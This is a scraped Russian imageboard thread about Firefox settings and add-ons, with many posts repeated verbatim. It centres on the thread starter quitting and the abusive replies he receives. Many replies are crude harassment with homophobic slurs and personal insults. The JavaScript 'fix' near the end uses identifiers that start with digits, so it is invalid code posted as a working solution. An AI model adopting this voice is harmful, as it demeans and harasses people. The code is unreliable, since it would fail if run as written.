Да конечно, пиши что хочешь, можно даже без логической связи с предыдущим постом.
Я же забиндил себе отображение панели закладок на Alt+B.
Да конечно, пиши что хочешь, можно даже без логической связи с предыдущим постом.
Я же забиндил себе отображение панели закладок на Alt+B.
>>1182918
Крутой. Как это помогает в них ориентироваться?
> Я же забиндил себе отображение панели закладок на Alt+B.
Крутой. Как это помогает в них ориентироваться?
>>1182924
В этом кому-то нужна помощь? Что ж, можно только посочувствовать этим людям.
В этом кому-то нужна помощь? Что ж, можно только посочувствовать этим людям.
>>1177654
есть аналоги расширения InstaTwit для FF
https://chrome.google.com/webstore/detail/instatwit/hhalcamddihdpdgdjkjbgikgobnbbpif
есть аналоги расширения InstaTwit для FF
https://chrome.google.com/webstore/detail/instatwit/hhalcamddihdpdgdjkjbgikgobnbbpif
Посоны, фурифокс-то свой аппетит умерил.
Открыто 38 вкладок, сожрано 450мб памяти. Чудеса!
Открыто 38 вкладок, сожрано 450мб памяти. Чудеса!
>>1183005
Спасибо, неплохой вариант. Но по клику в боковом меню на "Журнал", все же возможно открыть сразу окно, как по Ctrl-Shift-H?
Спасибо, неплохой вариант. Но по клику в боковом меню на "Журнал", все же возможно открыть сразу окно, как по Ctrl-Shift-H?
>>1183022
А, не, чёт я обосрался. Нету такого.
А, не, чёт я обосрался. Нету такого.
596 Кб, 988x806
Я тут посидел некоторое время, поразмышлял и пришел к определенному выводу.
Вывод такой: участие в этих тредах - абсолютно нецелесообразно. Вложено было много времени, сил и нервов - как в качестве ОП-а, так и в качестве участника. Получено было - ровно ничего. В плане каких-то новых знаний, разумеется, глупости вроде небольшого морального удовлетворения от помощи ньюфагам - не в счет. И даже меньше чем ничего, если учесть сколько я тут говна наслушался за эти 13 тредов по поводу себя, своей шапки и т.п.
Это время и силы можно было приложить значительно полезнее или хотя бы приятнее, не тратя нервы на бесполезные споры с идиотами, и не выслушивая в каждом треде потоки оскорблений от дегенеративных наглых блядей, не могущих в конструктивную техническую дискуссию на якобы остро интересующие их темы и требующих исключительно кнопку "сделать заебись". Ладно бы еще искали или просили вежливо, но ведь даже на это убогого умишка не хватает. Уж не знаю откуда у дебилов взялась идея о том, что хамством можно кого-то мотивировать на помощь, но факт их поведения остается фактом.
Вот я и подумал - так зачем мне дальше быть ОП-ом? Нахуй надо поддерживать тред и что-то доказывать неблагодарным ублюдкам, как меня спросил один мудрый человек еще в районе 20 треда? Абсолютно незачем. Пользы от этого ни малейшей, один вред. В цепочке "новые знания -> моя голова -> личная wiki у меня на винте -> лисотред" последнее звено вполне можно исключить - от этого вообще ничего не потеряется, а только психика здоровее будет.
Так что переката не будет. Пускай кто-нибудь другой создает эти сраные лисотреды и выслушивает постоянно от разнообразных уебков о том, что все он делает не так, шапка его говно, а сам он - мудак.
Обращаю свое послание к другим грамотным людям, которые часто сидят и помогают здесь, а особенно к тому, кто захочет создать перекат и взять на себя обязанности ОП-а: задумайтесь. Хорошенько подумайте, зачем вам все это надо и надо ли оно вам вообще. Лучше учиться на чужих ошибках чем на своих.
А я, как выразился один из хуесосов выше, собираю свои манатки и валю с этой параши.
ОП последних 13 лисотредов
Вывод такой: участие в этих тредах - абсолютно нецелесообразно. Вложено было много времени, сил и нервов - как в качестве ОП-а, так и в качестве участника. Получено было - ровно ничего. В плане каких-то новых знаний, разумеется, глупости вроде небольшого морального удовлетворения от помощи ньюфагам - не в счет. И даже меньше чем ничего, если учесть сколько я тут говна наслушался за эти 13 тредов по поводу себя, своей шапки и т.п.
Это время и силы можно было приложить значительно полезнее или хотя бы приятнее, не тратя нервы на бесполезные споры с идиотами, и не выслушивая в каждом треде потоки оскорблений от дегенеративных наглых блядей, не могущих в конструктивную техническую дискуссию на якобы остро интересующие их темы и требующих исключительно кнопку "сделать заебись". Ладно бы еще искали или просили вежливо, но ведь даже на это убогого умишка не хватает. Уж не знаю откуда у дебилов взялась идея о том, что хамством можно кого-то мотивировать на помощь, но факт их поведения остается фактом.
Вот я и подумал - так зачем мне дальше быть ОП-ом? Нахуй надо поддерживать тред и что-то доказывать неблагодарным ублюдкам, как меня спросил один мудрый человек еще в районе 20 треда? Абсолютно незачем. Пользы от этого ни малейшей, один вред. В цепочке "новые знания -> моя голова -> личная wiki у меня на винте -> лисотред" последнее звено вполне можно исключить - от этого вообще ничего не потеряется, а только психика здоровее будет.
Так что переката не будет. Пускай кто-нибудь другой создает эти сраные лисотреды и выслушивает постоянно от разнообразных уебков о том, что все он делает не так, шапка его говно, а сам он - мудак.
Обращаю свое послание к другим грамотным людям, которые часто сидят и помогают здесь, а особенно к тому, кто захочет создать перекат и взять на себя обязанности ОП-а: задумайтесь. Хорошенько подумайте, зачем вам все это надо и надо ли оно вам вообще. Лучше учиться на чужих ошибках чем на своих.
А я, как выразился один из хуесосов выше, собираю свои манатки и валю с этой параши.
ОП последних 13 лисотредов
596 Кб, 988x806
Я тут посидел некоторое время, поразмышлял и пришел к определенному выводу.
Вывод такой: участие в этих тредах - абсолютно нецелесообразно. Вложено было много времени, сил и нервов - как в качестве ОП-а, так и в качестве участника. Получено было - ровно ничего. В плане каких-то новых знаний, разумеется, глупости вроде небольшого морального удовлетворения от помощи ньюфагам - не в счет. И даже меньше чем ничего, если учесть сколько я тут говна наслушался за эти 13 тредов по поводу себя, своей шапки и т.п.
Это время и силы можно было приложить значительно полезнее или хотя бы приятнее, не тратя нервы на бесполезные споры с идиотами, и не выслушивая в каждом треде потоки оскорблений от дегенеративных наглых блядей, не могущих в конструктивную техническую дискуссию на якобы остро интересующие их темы и требующих исключительно кнопку "сделать заебись". Ладно бы еще искали или просили вежливо, но ведь даже на это убогого умишка не хватает. Уж не знаю откуда у дебилов взялась идея о том, что хамством можно кого-то мотивировать на помощь, но факт их поведения остается фактом.
Вот я и подумал - так зачем мне дальше быть ОП-ом? Нахуй надо поддерживать тред и что-то доказывать неблагодарным ублюдкам, как меня спросил один мудрый человек еще в районе 20 треда? Абсолютно незачем. Пользы от этого ни малейшей, один вред. В цепочке "новые знания -> моя голова -> личная wiki у меня на винте -> лисотред" последнее звено вполне можно исключить - от этого вообще ничего не потеряется, а только психика здоровее будет.
Так что переката не будет. Пускай кто-нибудь другой создает эти сраные лисотреды и выслушивает постоянно от разнообразных уебков о том, что все он делает не так, шапка его говно, а сам он - мудак.
Обращаю свое послание к другим грамотным людям, которые часто сидят и помогают здесь, а особенно к тому, кто захочет создать перекат и взять на себя обязанности ОП-а: задумайтесь. Хорошенько подумайте, зачем вам все это надо и надо ли оно вам вообще. Лучше учиться на чужих ошибках чем на своих.
А я, как выразился один из хуесосов выше, собираю свои манатки и валю с этой параши.
ОП последних 13 лисотредов
Вывод такой: участие в этих тредах - абсолютно нецелесообразно. Вложено было много времени, сил и нервов - как в качестве ОП-а, так и в качестве участника. Получено было - ровно ничего. В плане каких-то новых знаний, разумеется, глупости вроде небольшого морального удовлетворения от помощи ньюфагам - не в счет. И даже меньше чем ничего, если учесть сколько я тут говна наслушался за эти 13 тредов по поводу себя, своей шапки и т.п.
Это время и силы можно было приложить значительно полезнее или хотя бы приятнее, не тратя нервы на бесполезные споры с идиотами, и не выслушивая в каждом треде потоки оскорблений от дегенеративных наглых блядей, не могущих в конструктивную техническую дискуссию на якобы остро интересующие их темы и требующих исключительно кнопку "сделать заебись". Ладно бы еще искали или просили вежливо, но ведь даже на это убогого умишка не хватает. Уж не знаю откуда у дебилов взялась идея о том, что хамством можно кого-то мотивировать на помощь, но факт их поведения остается фактом.
Вот я и подумал - так зачем мне дальше быть ОП-ом? Нахуй надо поддерживать тред и что-то доказывать неблагодарным ублюдкам, как меня спросил один мудрый человек еще в районе 20 треда? Абсолютно незачем. Пользы от этого ни малейшей, один вред. В цепочке "новые знания -> моя голова -> личная wiki у меня на винте -> лисотред" последнее звено вполне можно исключить - от этого вообще ничего не потеряется, а только психика здоровее будет.
Так что переката не будет. Пускай кто-нибудь другой создает эти сраные лисотреды и выслушивает постоянно от разнообразных уебков о том, что все он делает не так, шапка его говно, а сам он - мудак.
Обращаю свое послание к другим грамотным людям, которые часто сидят и помогают здесь, а особенно к тому, кто захочет создать перекат и взять на себя обязанности ОП-а: задумайтесь. Хорошенько подумайте, зачем вам все это надо и надо ли оно вам вообще. Лучше учиться на чужих ошибках чем на своих.
А я, как выразился один из хуесосов выше, собираю свои манатки и валю с этой параши.
ОП последних 13 лисотредов
>>1183046
ты хуй, пидор и сын обезьяны
ты хуй, пидор и сын обезьяны
>Ушел в яндекс получать з.п. за убийство треда одним постом...
99 Кб, 1263x589
>>1183046
сюда нужно старую пасту про суть имиджборд запостить
а вообще, совеременные сосачеры опидорасились со своими оффициальными™ тредами и банами за троллинг/оффтопик
лезут на имиджборды, и смеют надеяться, что им измазанным в говне хуем по зубам не поводят
я кайнда даже рад, что несмотря на на педалину, обезьяну, ефогея и всю эту череду уёбищных безмозглых администраций какую-то ключевую особенность имиджборд умудрились не проебать
в качестве пика - одна из моих любимых картинок
сюда нужно старую пасту про суть имиджборд запостить
а вообще, совеременные сосачеры опидорасились со своими оффициальными™ тредами и банами за троллинг/оффтопик
лезут на имиджборды, и смеют надеяться, что им измазанным в говне хуем по зубам не поводят
я кайнда даже рад, что несмотря на на педалину, обезьяну, ефогея и всю эту череду уёбищных безмозглых администраций какую-то ключевую особенность имиджборд умудрились не проебать
в качестве пика - одна из моих любимых картинок
>>1183046
Ох лел. Ну сферический вахтер же. Энивей, пока пока. Ты явно спутал это место с уютным форумом. Тебе очень нужны подсосы и лайки. За этим знаешь куда идти
> и взять на себя обязанности ОП-а
Ох лел. Ну сферический вахтер же. Энивей, пока пока. Ты явно спутал это место с уютным форумом. Тебе очень нужны подсосы и лайки. За этим знаешь куда идти
>>1183071
Но ведь ОП не способен сгенерировать контент который будет кому-либо интересен. Кто, блять, будет ставить лайки за лисотреды
Но ведь ОП не способен сгенерировать контент который будет кому-либо интересен. Кто, блять, будет ставить лайки за лисотреды
>>1182876
А это и не баг нихуя. Просто у нас в треде домохозяйка, которая фичреквест называет багом. Я может и не хочу такой хуйни на моей няшной ESR
А это и не баг нихуя. Просто у нас в треде домохозяйка, которая фичреквест называет багом. Я может и не хочу такой хуйни на моей няшной ESR
>>1183046
Пиздуй нахуй, мразь, ты всех доебал уже своим тупым нытьем. Тебе в самом начале сказали: что-то не нравится - идешь в жопу. Но ты даже тихо уйти не смог, ведь ты вниманиеблядь, поэтому высрал этот длинный нахуй никому не нужный пост.
Вали отсюда нахуй и никогда не возвращайся, придурок.
Пиздуй нахуй, мразь, ты всех доебал уже своим тупым нытьем. Тебе в самом начале сказали: что-то не нравится - идешь в жопу. Но ты даже тихо уйти не смог, ведь ты вниманиеблядь, поэтому высрал этот длинный нахуй никому не нужный пост.
Вали отсюда нахуй и никогда не возвращайся, придурок.
>>1183046
Чувак, ты не пропадай, я перевод твоей пасты с гитхаба пилю. Нужен будет кто-то, кто его туда зальёт.
Чувак, ты не пропадай, я перевод твоей пасты с гитхаба пилю. Нужен будет кто-то, кто его туда зальёт.
>>1183046
Подробнее. Алсо, не будь такой истеричкой. И вообще, как будто тебя заставлял кто-то. Мне тред очень помог, например.
> личная wiki у меня на винте
Подробнее. Алсо, не будь такой истеричкой. И вообще, как будто тебя заставлял кто-то. Мне тред очень помог, например.
>>1183124
Полисмен делает то же самое, только больше
Это же для ананимасов, нэ?
Полисмен делает то же самое, только больше
> Блокировщик куки и рефрешей
Это же для ананимасов, нэ?
>>1183133
Если ЛСО куки и куки популярных почтовиков/поисковиков не зонды, то я не знаю, что тебе ответить.
Если ЛСО куки и куки популярных почтовиков/поисковиков не зонды, то я не знаю, что тебе ответить.
>>1183138
Ты мудак что ли?
>Шапка треда (FAQ, настройки, список полезных аддонов): https://github.com/The-OP/Fox/blob/master/header.md.
>Приложение к шапке (продвинутые настройки и аддоны): https://github.com/The-OP/Fox/blob/master/addendum.md.
Ты мудак что ли?
>>1183140
Уебан тупой, нот фоунд выдает.
Уебан тупой, нот фоунд выдает.
>>1183140
Бляяяяяяяяя, ОП-петух шапку стер. А ведь эта мразь только что кукарекала, что он тут всем бескорыстно помогает. Какой же он жалкий пиздец.
Бляяяяяяяяя, ОП-петух шапку стер. А ведь эта мразь только что кукарекала, что он тут всем бескорыстно помогает. Какой же он жалкий пиздец.
>>1183145
Ну легенда основная есть в гуглокеше, у меня есть первых два конфига. Нету третьего, самого параноидального.
Ну легенда основная есть в гуглокеше, у меня есть первых два конфига. Нету третьего, самого параноидального.
>>1183146
Заделитесь кто-нибудь, кстати. Буду благодарен. Алсо, я так и не понял, с чего этому THE_OPу так жопу порвало?
Заделитесь кто-нибудь, кстати. Буду благодарен. Алсо, я так и не понял, с чего этому THE_OPу так жопу порвало?
>>1183150
Плак-плак
Плак-плак
Он прошто еще юн и прикрываясь благодетелью гонится за уважением. Истинный альтруист рад даже единственному просветленному
>>1183148
мне спасибо скажите, лол, http://m2-ch.ru/s/res/1141454.html#1144916 - спецом пол-треда до него доёбывался
мне спасибо скажите, лол, http://m2-ch.ru/s/res/1141454.html#1144916 - спецом пол-треда до него доёбывался
>>1183157
Ты лучше заделись конфигами этой обиженки. Легенда в гугле есть, и её кстати проще тупо на пастбин закинуть.
Ты лучше заделись конфигами этой обиженки. Легенда в гугле есть, и её кстати проще тупо на пастбин закинуть.
>>1183160
Ссылки бы проебались
Ссылки бы проебались
>>1183162
http://pastebin.com/MZp5HAhY
Настройки, котороые добавляются в конфиг в профиле. Отключают зонды, увеличивают производитлеьность.
http://pastebin.com/MZp5HAhY
Настройки, котороые добавляются в конфиг в профиле. Отключают зонды, увеличивают производитлеьность.
>>1183163
https://support.mozilla.org/en-US/kb/how-stop-firefox-automatically-making-connections - все зонды ОП-а и даже больше через это руководство отключаются
https://support.mozilla.org/en-US/kb/how-stop-firefox-automatically-making-connections - все зонды ОП-а и даже больше через это руководство отключаются
>>1183164
Ну там ещё есть performance related настройки.
Ну там ещё есть performance related настройки.
>>1180389
Я синхронизирую в синке пароли и закладки. Собственно и все.
Ну после пидорасов из яндекса, которые прикрыли яндекс.закладки, приходится пользоваться синком.
Я синхронизирую в синке пароли и закладки. Собственно и все.
Ну после пидорасов из яндекса, которые прикрыли яндекс.закладки, приходится пользоваться синком.
>>1183046
Жаль, а мне тут нравилось. В принципе, я мог бы рассказать, как быстро доставать внутренние функции из браузера и запиливать почти произвольные действия на хоткеи. Ну или обсуждать попил расширений. Уж не знаю, что подразумевается под "новыми знаниями"...
Надо было создавать шапки и игнорировать бурление в самом треде. Списки конфигов зря выпилил, конечно...
В любом случае, мне будет не хватать ОПа. Тут не так-то много адекватов, и он - один из них
Жаль, а мне тут нравилось. В принципе, я мог бы рассказать, как быстро доставать внутренние функции из браузера и запиливать почти произвольные действия на хоткеи. Ну или обсуждать попил расширений. Уж не знаю, что подразумевается под "новыми знаниями"...
Надо было создавать шапки и игнорировать бурление в самом треде. Списки конфигов зря выпилил, конечно...
В любом случае, мне будет не хватать ОПа. Тут не так-то много адекватов, и он - один из них
>>1183184
Компилять лучше научи, а ОП-хуй редкостный, ибо внимание-признание-блядком оказался
Компилять лучше научи, а ОП-хуй редкостный, ибо внимание-признание-блядком оказался
>>1183198
Чтобы делать свою сборочку? Не умею, я только CSS/JS/немного С++/внутренние функции Fx. В любом случае считаю что сборка "для себя" - нерациональный расход человеко-часов, и что лучше пилить расширения. При желании тут можно и обсуждать такие вещи с 3,5; хотел предложить это делать в дошедших до бамплимита Fx-тредах, но у меня мало свободного времени.
Оп просто бомбанул наконец из-за того что его постоянно обсирали. Мне кажется, чтобы быть ОПом официальных тредов, нужно либо забивать на чужое мнение, либо уметь грамотно семёнить, а не так как он. Его посты заверсту видны. Ну лично я не обсирал, не знаю, зачем людям это надо.
Чтобы делать свою сборочку? Не умею, я только CSS/JS/немного С++/внутренние функции Fx. В любом случае считаю что сборка "для себя" - нерациональный расход человеко-часов, и что лучше пилить расширения. При желании тут можно и обсуждать такие вещи с 3,5; хотел предложить это делать в дошедших до бамплимита Fx-тредах, но у меня мало свободного времени.
Оп просто бомбанул наконец из-за того что его постоянно обсирали. Мне кажется, чтобы быть ОПом официальных тредов, нужно либо забивать на чужое мнение, либо уметь грамотно семёнить, а не так как он. Его посты заверсту видны. Ну лично я не обсирал, не знаю, зачем людям это надо.
https://addons.mozilla.org/EN-us/firefox/addon/custom-buttons/?src=search
Делюсь годнотой. Сам не так давно нашёл. Вот тебе >>1183018 выдам нужный код, если появишься итт ещё раз.
>>1183215
Да можешь хоть сейчас создать, все только выиграют, если у вас будет отдельный тред.
Делюсь годнотой. Сам не так давно нашёл. Вот тебе >>1183018 выдам нужный код, если появишься итт ещё раз.
>>1183215
Да можешь хоть сейчас создать, все только выиграют, если у вас будет отдельный тред.
>>1183221
У вас следующего не будет, лол
У вас следующего не будет, лол
ссылки в шапке протухли.
кто схоронил?
кто схоронил?
1726 Кб, 175x175
>>1183257
У меня есть версия шапки от 2 февраля.
Думал поделиться с опущенцами-лисоблядками, но теперь думаю не стоит это делать.
Завтра запилю свой тред.
PaleMoon-БОГ
У меня есть версия шапки от 2 февраля.
Думал поделиться с опущенцами-лисоблядками, но теперь думаю не стоит это делать.
Завтра запилю свой тред.
PaleMoon-БОГ
Забавно было посмотреть на то, как ничтожества, кукарекавшие-надрывавшиеся о их и моей ненужности обосрались, подорвались и побежали вытаскивать контент шапок из помойки гуглокэша.
Ради 3.5 адекватных и порядочных людей ITT: http://rghost.net/7prvYTDNq
мимо-ОП
Ради 3.5 адекватных и порядочных людей ITT: http://rghost.net/7prvYTDNq
мимо-ОП
>>1183260
Шапка в гугле есть любая, лол. Нахуй этого ОП-а шапку, мы свою запилим с uBlock и прочими мокрописьками
Шапка в гугле есть любая, лол. Нахуй этого ОП-а шапку, мы свою запилим с uBlock и прочими мокрописьками
>>1183263
Шизик, к врачу не пора?
Шизик, к врачу не пора?
>>1183267
Максимум паранойя, вон с рыгоста качай, нашёлся.
Максимум паранойя, вон с рыгоста качай, нашёлся.
>>1183265
А почему THE_OP uBlock не жаловал? У него припекало, что его выдумал спермач-хромог?
А почему THE_OP uBlock не жаловал? У него припекало, что его выдумал спермач-хромог?
ЗАПИЛИЛ, GIT, СУКА ПИДОРОМ БУДУ ЕСЛИ УДАЛЮ
https://github.com/anonymous2ch/mozilla-thread
https://github.com/anonymous2ch/mozilla-thread
>>1183269
У него от любых дополнений припекало, слышал бы ты как он от упоминания Waterfox взрывался - простыни батхёрта уходили в пост сайз лимит
У него от любых дополнений припекало, слышал бы ты как он от упоминания Waterfox взрывался - простыни батхёрта уходили в пост сайз лимит
>>1183272
Деанон==зашквар
Деанон==зашквар
>>1183269
Это вот так он его не жаловал?
>uBlock. Легковесная альтернатива ABP с полной поддержкой подписок последнего, но потребляющая значительно меньше процессорного времени и памяти. Подписки включаются через настройки, которые уже содержат адреса наиболее популярных. Element picker, облегчающий создание собственных фильтров, тоже встроен.
Это вот так он его не жаловал?
>>1183277
Слово зеоп считаю ругательным и прошу ко мне не применять. я другой человек же, не видно разве
Слово зеоп считаю ругательным и прошу ко мне не применять. я другой человек же, не видно разве
https://github.com/anonymous2ch/mozilla-thread/blob/master/pics/mozilla-thread-pic-1.png
Оп-пик следующего треда. Спермопердолик is the way to go
Оп-пик следующего треда. Спермопердолик is the way to go
77 Кб, 2000x547
Вот этот ОП-пик охуенен. Первый раз в Интернет заходил именно с него и до сих пор пользуюсь только мозиллой, представляете какая уточка?
Погожим весенним деньком я в который раз зашел в свой любимый лисоёбский тред, чтобы поугарать с пацанами под пивасик и отпустить пару колкостей по адресу уебищности и недоразвитости этого недобраузера для прыщавых детей с консолью в жопе.
Я чувствовал, что вот уже нашел место, где собираются адекватные люди, не лишенные чувства юмора и любящие лису за ее гибкость, ценящие ее швабодку и принявшие то, что их браузер, как их верный друг - немного тупой, но честный и добродушный. Неуклюжий, но сделанный с любовью, не ради коммерческой выгоды, от чего еще более родной. Эти люди чувствовали себя здесь как дома: в кругу таких же любителей лисы, не упускающих шанса потроллить друг друга ее недоразвитостью.
И что же я увидел, зайдя в этот тред? Я увидел ЕБАНУЮ САГУ в трех действиях об ИСХОДЕ THE-OPa из земель своего народа. Я почувствовал себя одним из героев трилогии Толкина (не каким-нибудь там Королем расы, а скорее героем поменьше типа какого-нибудь гнома с кувалдой в руке), который так же причастен к великой истории. Я увидел здесь светлые надежды, крах и отчаяние, месть и предательство, нерушимую дружбу и черную ненависть.
Я был повержен событиями, свалившимися на головы жителей нашего мирного треда и смятен ожиданием грядущих после Исхода испытаний. Переживет ли наш народ Исход THE-OPa? Что будет с нами дальше? Не знаю этого, но тем не менее приветствую всех посетителей этого ПОСЛЕДНЕГО ТРЕДА THE-OPa. Да прибудут с нами Боги!
Отныне прошу всех посетителей треда называть меня по моему новому имени: ГИМЛИ-ЯРОСТНЫЙ.
Я чувствовал, что вот уже нашел место, где собираются адекватные люди, не лишенные чувства юмора и любящие лису за ее гибкость, ценящие ее швабодку и принявшие то, что их браузер, как их верный друг - немного тупой, но честный и добродушный. Неуклюжий, но сделанный с любовью, не ради коммерческой выгоды, от чего еще более родной. Эти люди чувствовали себя здесь как дома: в кругу таких же любителей лисы, не упускающих шанса потроллить друг друга ее недоразвитостью.
И что же я увидел, зайдя в этот тред? Я увидел ЕБАНУЮ САГУ в трех действиях об ИСХОДЕ THE-OPa из земель своего народа. Я почувствовал себя одним из героев трилогии Толкина (не каким-нибудь там Королем расы, а скорее героем поменьше типа какого-нибудь гнома с кувалдой в руке), который так же причастен к великой истории. Я увидел здесь светлые надежды, крах и отчаяние, месть и предательство, нерушимую дружбу и черную ненависть.
Я был повержен событиями, свалившимися на головы жителей нашего мирного треда и смятен ожиданием грядущих после Исхода испытаний. Переживет ли наш народ Исход THE-OPa? Что будет с нами дальше? Не знаю этого, но тем не менее приветствую всех посетителей этого ПОСЛЕДНЕГО ТРЕДА THE-OPa. Да прибудут с нами Боги!
Отныне прошу всех посетителей треда называть меня по моему новому имени: ГИМЛИ-ЯРОСТНЫЙ.
>>1183302
Васянофорсерам постоянно проводят вялым по губам, как только они начинают пиарить свои зонды.
Свои треды у них не взлетают, а 15 рублей просто так не дают.
Вот и пытаются опущенцы примазаться к Божественному.
Васянофорсерам постоянно проводят вялым по губам, как только они начинают пиарить свои зонды.
Свои треды у них не взлетают, а 15 рублей просто так не дают.
Вот и пытаются опущенцы примазаться к Божественному.
207 Кб, 1280x1024
>>1183299
В свете этих непростых событий, предлагаю сделать оппиком следующего треда такую хрень. Она в полной мере отражает эпичность нашего времени.
В свете этих непростых событий, предлагаю сделать оппиком следующего треда такую хрень. Она в полной мере отражает эпичность нашего времени.
>>1183316
А, точно, Waterfox. Спасибо.
А, точно, Waterfox. Спасибо.
>>1183319
У тебя с логикой видимо беда.
Пердоспермач, тогда уж. А так получается, что он сам себя обоссал.
У тебя с логикой видимо беда.
Пердоспермач, тогда уж. А так получается, что он сам себя обоссал.
>>1183224
Охуеть, к чему это, он ведь уже ушёл. Я, видимо, так воспитан - слишком хорошо относиться к людям. Его посты отличал по тому, что он всё же пытался кому-то помочь, но хотел за это нормального отношения (а это вполне обычная практика; тут многие благодарили за всякие фичи; а другие думают что им все должны что-то запилить, негодуют, если этого не происходит - так и должно быть?)
>>1183251
Всем кто схоронил, респект. Хотя ОП таки выложил таки свой пак - исправил единственное, где у меня были претензии.
>>1183270
Может быть ты гей, и просто шутишь над нами
>>1183280
Годнота. Надо не сраться, а держаться вместе, имхо
>>1183299
The winner is you!
>>1183312
Можно их просто копировать их в папку и доставать по дате добавления. Скромно предложу назвать тред 29.0.1
Охуеть, к чему это, он ведь уже ушёл. Я, видимо, так воспитан - слишком хорошо относиться к людям. Его посты отличал по тому, что он всё же пытался кому-то помочь, но хотел за это нормального отношения (а это вполне обычная практика; тут многие благодарили за всякие фичи; а другие думают что им все должны что-то запилить, негодуют, если этого не происходит - так и должно быть?)
>>1183251
Всем кто схоронил, респект. Хотя ОП таки выложил таки свой пак - исправил единственное, где у меня были претензии.
>>1183270
Может быть ты гей, и просто шутишь над нами
>>1183280
Годнота. Надо не сраться, а держаться вместе, имхо
>>1183299
The winner is you!
>>1183312
Можно их просто копировать их в папку и доставать по дате добавления. Скромно предложу назвать тред 29.0.1
>>1183327
Охуел штоле? Не хочу рядом с говном находиться. Пусть свой тред пилят.
>Надо не сраться, а держаться вместе
Охуел штоле? Не хочу рядом с говном находиться. Пусть свой тред пилят.
7 Кб, 583x500
>>1183349
Жызнена)000
Жызнена)000
10 Кб, 755x280
Чё, блять, за хуйня?
Пропало MSE & WebM VP9.
media.mediasource.enabled стоит true
Раньше было. Куда делось? Как починить?
Пропало MSE & WebM VP9.
media.mediasource.enabled стоит true
Раньше было. Куда делось? Как починить?
Нубовопрос, посоны. Как определить цвет текста в стиле Neutron, точнее его буквенную и десятичную запись?
>>1183365
Ты мне на вопрос так и не ответил. Ты пердолик или спермач?
Ты мне на вопрос так и не ответил. Ты пердолик или спермач?
>>1182894
заебали, ну придется контролировать себя, и не разварачивать на полный экран. не учить же жаваскрипт и си плюс плюс ради такой хуйни.
заебали, ну придется контролировать себя, и не разварачивать на полный экран. не учить же жаваскрипт и си плюс плюс ради такой хуйни.
>>1183046
Да ты тут нахуй никому не нужен, вахтер и ретроград.
помню как этот хуисос не хотел добавлять ublock в оп-пост и дико бомбонул от классического оп-хуй.
Да ты тут нахуй никому не нужен, вахтер и ретроград.
помню как этот хуисос не хотел добавлять ublock в оп-пост и дико бомбонул от классического оп-хуй.
>>1183263
Ебаная вниманиеблядь, когда ты съебешь уже наконец? Проваливай нахуй. И свой файл аж 6 раз скачаный забери.
Ебаная вниманиеблядь, когда ты съебешь уже наконец? Проваливай нахуй. И свой файл аж 6 раз скачаный забери.
74 Кб, 540x960
>>1177654
Помогите котаны, куда эта жаба файлы сохраняет, да и вообще, КАК БЛЯТЬ НАСТРОИТЬ СОХРАНЕНИЕ в этой блядской лисе, все на,тройки перерыл.
Помогите котаны, куда эта жаба файлы сохраняет, да и вообще, КАК БЛЯТЬ НАСТРОИТЬ СОХРАНЕНИЕ в этой блядской лисе, все на,тройки перерыл.
>>1183576
/sdcard/Downloads/
/sdcard/Downloads/
>>1183633
Небыло у лисы такой версии.
Небыло у лисы такой версии.
>>1183637
Потому что собрали без него, сделай свою сборочку, сможешь с гордостью заявлять об отсутствии зондов. Инструкции на сайте тора найдешь.
> Поцоны, а зачем и почеу в Тор Юраузере GSstreamer-а нет?
Потому что собрали без него, сделай свою сборочку, сможешь с гордостью заявлять об отсутствии зондов. Инструкции на сайте тора найдешь.
21 Кб, 686x288
Хочу зайти лисой на ftp через SOCKS-прокси.
Указываю в настройках пикрелейтед.
Пишу в адресной строке ftp://mirror.yandex.ru/
Лиса вместо того, чтобы соединяться через с ftp через SOCKS, использует его как http-проксю и отправляет
Что за хуйня, блядь? Версия 31.5.0, IceWeasel из stable. Профиль чистый.
Указываю в настройках пикрелейтед.
Пишу в адресной строке ftp://mirror.yandex.ru/
Лиса вместо того, чтобы соединяться через с ftp через SOCKS, использует его как http-проксю и отправляет
>GET ftp://mirror.yandex.ru/ HTTP/1.1
>Host: mirror.yandex.ru
Что за хуйня, блядь? Версия 31.5.0, IceWeasel из stable. Профиль чистый.
Аноны, а есть что-то наподобие хромоговской Hola Better? Надо акк на спотифае подтвердить, а гуглозонд качать не хочется.
>>1183787
zenmate
zenmate
>>1182894
Я всё ж подумал... Тьюринг таки не зря страдал от британских гомофобов.
РЕШЕНИЕ БАГА С FULLSCREEN ДЛЯ ESR 31.5.0:
1. Поставить расширение (>>1183221): https://addons.mozilla.org/EN-us/firefox/addon/custom-buttons/
2. Создать кнопку со следующим кодом в разделе "инициализация":
FullScreen.20150317020848_toggle = FullScreen.toggle;
FullScreen.toggle // открытие
=function(e){
\tdocument.documentElement.removeAttribute("inDOMFullscreen");
\twindow.20150317020848_ignoreToggleSidebar = true;
\tFullScreen.20150317020848_toggle.apply(this,[e]);
}
FullScreen.20150317020848_enterDomFullscreen = FullScreen.enterDomFullscreen;
FullScreen.enterDomFullscreen // закрытие
=function(e){
\tdocument.documentElement.setAttribute("inDOMFullscreen", true);
\tFullScreen.20150317020848_enterDomFullscreen.apply(this,[e]);
}
window.20150317020848_toggleSidebar = toggleSidebar;
toggleSidebar
=function(a,b){
\tif (!window.20150317020848_ignoreToggleSidebar) {
\t\twindow.20150317020848_toggleSidebar.apply(this,[a,b]);
\t}
\twindow.20150317020848_ignoreToggleSidebar = false;
}
3. Назвать кнопку так: 20150317020848
4. Переместить её на тулбар
5. Поставить стиль (можно просто скопировать в \папка профиля\chrome\userChrome.css):
@namespace url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
@-moz-document url(chrome://browser/content/browser.xul){
\t#main-window[inDOMFullscreen] #sidebar-box,
\t#main-window[inDOMFullscreen] #sidebar-splitter,
\ttoolbarbutton[tooltiptext='20150317020848']{
\t\tvisibility: collapse;
\t}
}
Я всё ж подумал... Тьюринг таки не зря страдал от британских гомофобов.
РЕШЕНИЕ БАГА С FULLSCREEN ДЛЯ ESR 31.5.0:
1. Поставить расширение (>>1183221): https://addons.mozilla.org/EN-us/firefox/addon/custom-buttons/
2. Создать кнопку со следующим кодом в разделе "инициализация":
FullScreen.20150317020848_toggle = FullScreen.toggle;
FullScreen.toggle // открытие
=function(e){
\tdocument.documentElement.removeAttribute("inDOMFullscreen");
\twindow.20150317020848_ignoreToggleSidebar = true;
\tFullScreen.20150317020848_toggle.apply(this,[e]);
}
FullScreen.20150317020848_enterDomFullscreen = FullScreen.enterDomFullscreen;
FullScreen.enterDomFullscreen // закрытие
=function(e){
\tdocument.documentElement.setAttribute("inDOMFullscreen", true);
\tFullScreen.20150317020848_enterDomFullscreen.apply(this,[e]);
}
